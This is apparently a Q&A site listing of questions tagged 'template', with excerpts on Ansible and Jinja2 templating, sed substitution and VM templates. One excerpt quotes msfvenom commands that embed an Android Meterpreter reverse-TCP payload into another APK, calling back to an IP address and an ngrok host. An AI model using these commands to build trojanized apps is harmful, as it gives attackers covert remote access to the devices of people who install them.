Questions tagged [template]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
1
vote
3answers
246 views

Generate templates in yaml from a CSV file

I am trying to create yaml files from a template using my variables. My yaml template look like this number: {{NUMBER}} name: {{NAME}} region: {{REGION}} storenum: {{STORENUM}} clients: {{...
1
vote
1answer
42 views

how to join inventory items in a comma delimited list?

I have ansbile inv # cat inv [all] vm1 vm2 I want to extract them in a comma delimited list using Jinja template so I add jinja template # cat comb_list.j2 {{ groups['all'] | map('extract', hostvars,...
0
votes
0answers
30 views

Personalised instances of systemd sevices

I have four instances of a VNC server running on a Debian Buster machine for four different users. Thanks to Apache Guacamole the users can login to their respective accounts concurrently from their ...
0
votes
0answers
105 views

Android Embed Payload with another apk

msfvenom -x anyApp.apk android/meterpreter/reverse_tcp lhost=10.10.10.10 lport=4545 -o shell.apk I found the code in this link. msfvenom -p android/meterpreter/reverse_tcp LHOST=5160dfb1af61.ngrok.io ...
1
vote
4answers
878 views

Use the output of a command as input to the same command in a loop

So I'm trying to find a template for bash/shell script that essentially run a command, let's call it "command1" using an input "X" and then use the output of command1 on itself......
0
votes
2answers
76 views

how to fail on first error when using bash as a template tool

I am looking for a better version of set -e. That better version should just work™. I briefly read BashFaq/105 and tried this insane approach, but I still do not know how to fail on error. My use case ...
1
vote
1answer
95 views

Simple and standard way to generate files based on templates?

For my projects I need a way to generate some files based on template ones. I envision it this way: a template file contains data with something like {{var1}} in place of the variables to be replaced ...
0
votes
0answers
72 views

Create VM from template , Hostname issue

I created a VM from RHEL ISO Fle, and followed some steps to cleanup nic details and also inserted a systemd script to create machine id. Converted VM to template, However when i spin a new VM with ...
0
votes
1answer
193 views

ansible playbook with jinja2 loop

I need to write a playbook using jinja2 tamplate inorder to write firewalld rule in ansible. For that I wrote --- - name: Firewalld check hosts: localhost become: yes tasks: - name: Allow ...
2
votes
0answers
26 views

Is there a way to have code templates for "if", "for" (or) for any multiline commands in terminal?

Code templates are handy and help in finishing codes without error. I am aware that notepad editors like atom provide code templates for if and for loop for bash. Also aware that man pages provide ...
1
vote
1answer
568 views

Ansible - template from dictionary item

Ansible - template from dictionary item 1'st: Trying to write task which creates files from template NODES: node1: server: host1 script: manage1 node2: server: host2 script: ...
0
votes
1answer
260 views

Uploading sudoers.d file through ansible gives syntax error but opening and saving in vi fixes it

Alright, I know the question title sucks, but it's the same with the situation itself. What I am trying to do is this: Create a file with sudoers configuration locally Use Ansible to ubload that ...
0
votes
1answer
710 views

What is wrong in this shell script?

It can not generate two temp-files! Why not? Please help!! The input-file has two columns for the file names. But it fails to copy the TWO-files "fn1", "fn2" into "Data1.dat", "Data2.dat" What is ...
0
votes
1answer
801 views

Tool for creating and calling folder structure templates?

Is there a Linux utility for creating templates for directory structures, outside of the scripts packaged with a DE like Gnome or LXDE? (I run openbox and would like to avoid a DE at all costs) There ...
2
votes
0answers
226 views

Rename a template when creating it

I added the "Empty file" (empty text document) to the Templates folder. Is possible to rename it automatically when I create it? As when using new folder. My file manager is nautilus.
2
votes
1answer
94 views

A utility to append content into a file, if this content isn't already in the file (even in part)

Is there a *Nix utility by which I could append content to a file (say, append the content of a template file into the end of a second file), only if the content isn't already available in the second ...
0
votes
1answer
732 views

CentOS 6 how to clear machine ID for a template? [duplicate]

I want to create a template from CentOS 6 so that each VM feels like a unique install. I found sys-unconfig which works but I don't like that it asks for a new password on boot. What alternatives are ...
0
votes
1answer
15k views

for loop in jinja2 [closed]

Please explain to me how can I fix this problem? i have this file defaults/main.yml --- node1: ip: 1.1.1.1 node2: ip: 2.2.2.2 node3: ip: 3.3.3.3 Now, I want in template file ip.j2 by for loop ...
0
votes
1answer
704 views

separator value from fact variable in ansible

I get ssh connection from fact variable in fact. my code in template (get-ip.j2): nod= {{ ansible_env.SSH_CONNECTION }} my output is : nod= 192.168.231.115 55414 192.168.231.91 22 Now, how can ...
0
votes
3answers
242 views

GNU sed - Creating a modified version of an existing template, based on an variable argument

This question is about rendering templates with sed. I have the template file nginx_app: server { root ${drt}/${domain}/; server_name ${domain} www.${domain}; } I use that file in another ...
0
votes
1answer
2k views

How to replace variable strings in a file? [duplicate]

I have a file with variables in it like below, however I want to use this file as a template and replace the variables with its actual value. Is there a way to read the file contents and evaluate the ...
5
votes
4answers
467 views

Is there an easy way to do the equivalent of `sed ...` replacing the same line with multiple values?

I have a file where I want to replace some variables with data from a shell script. -A INPUT -i lo -s @LOCAL_IP@ -j ACCEPT Here I want to replace @LOCAL_IP@ with an IP address, I use the following: ...